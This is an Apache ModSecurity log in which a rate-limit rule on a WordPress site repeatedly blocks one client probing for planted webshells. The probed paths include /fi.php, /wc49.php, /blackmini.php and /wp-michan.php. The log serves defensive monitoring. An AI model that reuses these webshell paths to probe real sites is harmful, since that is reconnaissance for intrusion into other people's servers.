[Sat Feb 28 01:45:27.909622 2026] [:error] [pid 15100:tid 15179] [client 20.100.197.204:4668] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aaHYN0OEbzcINan_ctLMMwAAAFM"]
[Sat Feb 28 01:45:28.426289 2026] [:error] [pid 15240:tid 15259] [client 20.100.197.204:4629] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aaHYOC1iKL_41Rk9A9OFVAAAABE"]
[Sat Feb 28 01:45:28.949757 2026] [:error] [pid 15240:tid 15256] [client 20.100.197.204:30766] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aaHYOC1iKL_41Rk9A9OFVwAAAA4"]
[Sat Feb 28 01:45:29.466480 2026] [:error] [pid 15240:tid 15254] [client 20.100.197.204:4668] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aaHYOS1iKL_41Rk9A9OFWQAAAAw"]
[Sat Feb 28 01:45:29.983508 2026] [:error] [pid 15099:tid 15141] [client 20.100.197.204:6652] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aaHYOenvP2vtPjYDq_g9TwAAAMg"]
[Sat Feb 28 01:45:30.501505 2026] [:error] [pid 15099:tid 15157] [client 20.100.197.204:4627] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aaHYOunvP2vtPjYDq_g9UgAAANg"]
[Sat Feb 28 01:45:31.020437 2026] [:error] [pid 15099:tid 15137] [client 20.100.197.204:4101] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aaHYO-nvP2vtPjYDq_g9UwAAAMQ"]
[Sat Feb 28 01:45:31.538637 2026] [:error] [pid 38620:tid 38634] [client 20.100.197.204:30755] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aaHYOwP6I7SRqrhh7RogvAAAAUw"]
[Sat Feb 28 01:45:32.056531 2026] [:error] [pid 38620:tid 38637] [client 20.100.197.204:27381] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wc49.php"] [unique_id "aaHYPAP6I7SRqrhh7RogwQAAAU8"]
[Sat Feb 28 01:45:32.578248 2026] [:error] [pid 38620:tid 38623] [client 20.100.197.204:58900] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wc49.php"] [unique_id "aaHYPAP6I7SRqrhh7RogxgAAAUE"]
[Sat Feb 28 01:45:33.095051 2026] [:error] [pid 38620:tid 38626] [client 20.100.197.204:6614] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wc49.php"] [unique_id "aaHYPQP6I7SRqrhh7RogywAAAUQ"]
[Sat Feb 28 01:45:33.618257 2026] [:error] [pid 38620:tid 38634] [client 20.100.197.204:4667] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wc49.php"] [unique_id "aaHYPQP6I7SRqrhh7RogzwAAAUw"]
[Sat Feb 28 01:45:34.134298 2026] [:error] [pid 15240:tid 15245] [client 20.100.197.204:19289] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/TL.php"] [unique_id "aaHYPi1iKL_41Rk9A9OFZgAAAAM"]
[Sat Feb 28 01:45:34.651718 2026] [:error] [pid 38620:tid 38631] [client 20.100.197.204:11688] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/TL.php"] [unique_id "aaHYPgP6I7SRqrhh7Rog2wAAAUk"]
[Sat Feb 28 01:45:35.172016 2026] [:error] [pid 38620:tid 38643] [client 20.100.197.204:4148] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/TL.php"] [unique_id "aaHYPwP6I7SRqrhh7Rog4gAAAVU"]
[Sat Feb 28 01:45:35.689769 2026] [:error] [pid 38620:tid 38623] [client 20.100.197.204:6603] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/TL.php"] [unique_id "aaHYPwP6I7SRqrhh7Rog6wAAAUE"]
[Sat Feb 28 01:45:36.206998 2026] [:error] [pid 15098:tid 15126] [client 20.100.197.204:58897] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sys.php"] [unique_id "aaHYQMkFqny8dQQbmTkrfgAAAJQ"]
[Sat Feb 28 01:45:36.724159 2026] [:error] [pid 15099:tid 15157] [client 20.100.197.204:11557] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sys.php"] [unique_id "aaHYQOnvP2vtPjYDq_g9XQAAANg"]
[Sat Feb 28 01:45:37.244441 2026] [:error] [pid 38586:tid 38613] [client 20.100.197.204:11702] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sys.php"] [unique_id "aaHYQb_i6nvKNhjFW7VXJQAAARg"]
[Sat Feb 28 01:45:37.761898 2026] [:error] [pid 38586:tid 38596] [client 20.100.197.204:19318] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sys.php"] [unique_id "aaHYQb_i6nvKNhjFW7VXKQAAAQc"]
[Sat Feb 28 01:45:38.282681 2026] [:error] [pid 15240:tid 15242] [client 20.100.197.204:37957] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fck.php"] [unique_id "aaHYQi1iKL_41Rk9A9OFcgAAAAA"]
[Sat Feb 28 01:45:38.801404 2026] [:error] [pid 38586:tid 38591] [client 20.100.197.204:37676] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fck.php"] [unique_id "aaHYQr_i6nvKNhjFW7VXMAAAAQI"]
[Sat Feb 28 01:45:39.318365 2026] [:error] [pid 38620:tid 38645] [client 20.100.197.204:58897] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fck.php"] [unique_id "aaHYQwP6I7SRqrhh7Rog-QAAAVc"]
[Sat Feb 28 01:45:39.838033 2026] [:error] [pid 38620:tid 38626] [client 20.100.197.204:30746] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fck.php"] [unique_id "aaHYQwP6I7SRqrhh7RohAAAAAUQ"]
[Sat Feb 28 01:45:40.358731 2026] [:error] [pid 38620:tid 38625] [client 20.100.197.204:4644] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x123x.php"] [unique_id "aaHYRAP6I7SRqrhh7RohBgAAAUM"]
[Sat Feb 28 01:45:40.877598 2026] [:error] [pid 38620:tid 38634] [client 20.100.197.204:11650] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x123x.php"] [unique_id "aaHYRAP6I7SRqrhh7RohDwAAAUw"]
[Sat Feb 28 01:45:41.395627 2026] [:error] [pid 38586:tid 38590] [client 20.100.197.204:11674] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x123x.php"] [unique_id "aaHYRb_i6nvKNhjFW7VXNQAAAQE"]
[Sat Feb 28 01:45:41.915188 2026] [:error] [pid 38620:tid 38645] [client 20.100.197.204:4153] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x123x.php"] [unique_id "aaHYRQP6I7SRqrhh7RohHgAAAVc"]
[Sat Feb 28 01:45:42.434688 2026] [:error] [pid 15100:tid 15174] [client 20.100.197.204:4111] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "aaHYRkOEbzcINan_ctLMSwAAAE4"]
[Sat Feb 28 01:45:42.953072 2026] [:error] [pid 15240:tid 15253] [client 20.100.197.204:27383] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "aaHYRi1iKL_41Rk9A9OFdgAAAAs"]
[Sat Feb 28 01:45:43.476043 2026] [:error] [pid 38620:tid 38626] [client 20.100.197.204:27379] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "aaHYRwP6I7SRqrhh7RohPQAAAUQ"]
[Sat Feb 28 01:45:43.996238 2026] [:error] [pid 15098:tid 15111] [client 20.100.197.204:19314] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "aaHYR8kFqny8dQQbmTkrhgAAAIU"]
[Sat Feb 28 01:45:44.514570 2026] [:error] [pid 38586:tid 38592] [client 20.100.197.204:58889] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nw2.php"] [unique_id "aaHYSL_i6nvKNhjFW7VXPgAAAQM"]
[Sat Feb 28 01:45:45.033247 2026] [:error] [pid 38620:tid 38643] [client 20.100.197.204:11658] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nw2.php"] [unique_id "aaHYSQP6I7SRqrhh7RohTgAAAVU"]
[Sat Feb 28 01:45:45.552352 2026] [:error] [pid 38586:tid 38597] [client 20.100.197.204:30722] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nw2.php"] [unique_id "aaHYSb_i6nvKNhjFW7VXQQAAAQg"]
[Sat Feb 28 01:45:46.068478 2026] [:error] [pid 15100:tid 15160] [client 20.100.197.204:33380] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nw2.php"] [unique_id "aaHYSkOEbzcINan_ctLMWAAAAEA"]
[Sat Feb 28 01:45:46.585697 2026] [:error] [pid 15100:tid 15165] [client 20.100.197.204:33394] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/blackmini.php"] [unique_id "aaHYSkOEbzcINan_ctLMYQAAAEU"]
[Sat Feb 28 01:45:47.102071 2026] [:error] [pid 15240:tid 15265] [client 20.100.197.204:4134] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/blackmini.php"] [unique_id "aaHYSy1iKL_41Rk9A9OFfgAAABc"]
[Sat Feb 28 01:45:47.620356 2026] [:error] [pid 38620:tid 38628] [client 20.100.197.204:11698] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/blackmini.php"] [unique_id "aaHYSwP6I7SRqrhh7RohVgAAAUY"]
[Sat Feb 28 01:45:48.139581 2026] [:error] [pid 38620:tid 38629] [client 20.100.197.204:30738] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/blackmini.php"] [unique_id "aaHYTAP6I7SRqrhh7RohWAAAAUc"]
[Sat Feb 28 01:45:48.656692 2026] [:error] [pid 15099:tid 15152] [client 20.100.197.204:54722] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "aaHYTOnvP2vtPjYDq_g9fQAAANM"]
[Sat Feb 28 01:45:49.174537 2026] [:error] [pid 38620:tid 38645] [client 20.100.197.204:33396] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "aaHYTQP6I7SRqrhh7RohYQAAAVc"]
[Sat Feb 28 01:45:49.691697 2026] [:error] [pid 38620:tid 38634] [client 20.100.197.204:16590] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "aaHYTQP6I7SRqrhh7RohZwAAAUw"]
[Sat Feb 28 01:45:50.213442 2026] [:error] [pid 15099:tid 15157] [client 20.100.197.204:27344] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "aaHYTunvP2vtPjYDq_g9hAAAANg"]
[Sat Feb 28 01:45:50.729483 2026] [:error] [pid 38620:tid 38631] [client 20.100.197.204:11685] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/F19.php"] [unique_id "aaHYTgP6I7SRqrhh7RohdAAAAUk"]
[Sat Feb 28 01:45:51.247193 2026] [:error] [pid 38620:tid 38635] [client 20.100.197.204:27345] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/F19.php"] [unique_id "aaHYTwP6I7SRqrhh7RohfQAAAU0"]
[Sat Feb 28 01:45:51.765558 2026] [:error] [pid 38620:tid 38636] [client 20.100.197.204:30756] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/F19.php"] [unique_id "aaHYTwP6I7SRqrhh7RohiAAAAU4"]
[Sat Feb 28 01:45:52.281609 2026] [:error] [pid 38620:tid 38635] [client 20.100.197.204:6608] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/F19.php"] [unique_id "aaHYUAP6I7SRqrhh7RohjwAAAU0"]
[Sat Feb 28 01:45:52.799649 2026] [:error] [pid 38586:tid 38600] [client 20.100.197.204:30768] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/F1.php"] [unique_id "aaHYUL_i6nvKNhjFW7VXUgAAAQs"]
[Sat Feb 28 01:45:53.322763 2026] [:error] [pid 38620:tid 38622] [client 20.100.197.204:30733] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/F1.php"] [unique_id "aaHYUQP6I7SRqrhh7RohkwAAAUA"]
[Sat Feb 28 01:45:53.842447 2026] [:error] [pid 15099:tid 15134] [client 20.100.197.204:61343] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/F1.php"] [unique_id "aaHYUenvP2vtPjYDq_g9igAAAME"]
[Sat Feb 28 01:45:54.373288 2026] [:error] [pid 38586:tid 38604] [client 20.100.197.204:33404] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/F1.php"] [unique_id "aaHYUr_i6nvKNhjFW7VXVQAAAQ8"]
[Sat Feb 28 01:45:54.893317 2026] [:error] [pid 38586:tid 38595] [client 20.100.197.204:61352] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aaHYUr_i6nvKNhjFW7VXWgAAAQY"]
[Sat Feb 28 01:45:55.415867 2026] [:error] [pid 38586:tid 38594] [client 20.100.197.204:27332] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aaHYU7_i6nvKNhjFW7VXXgAAAQU"]
[Sat Feb 28 01:45:55.937000 2026] [:error] [pid 38586:tid 38602] [client 20.100.197.204:16629] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aaHYU7_i6nvKNhjFW7VXYgAAAQ0"]
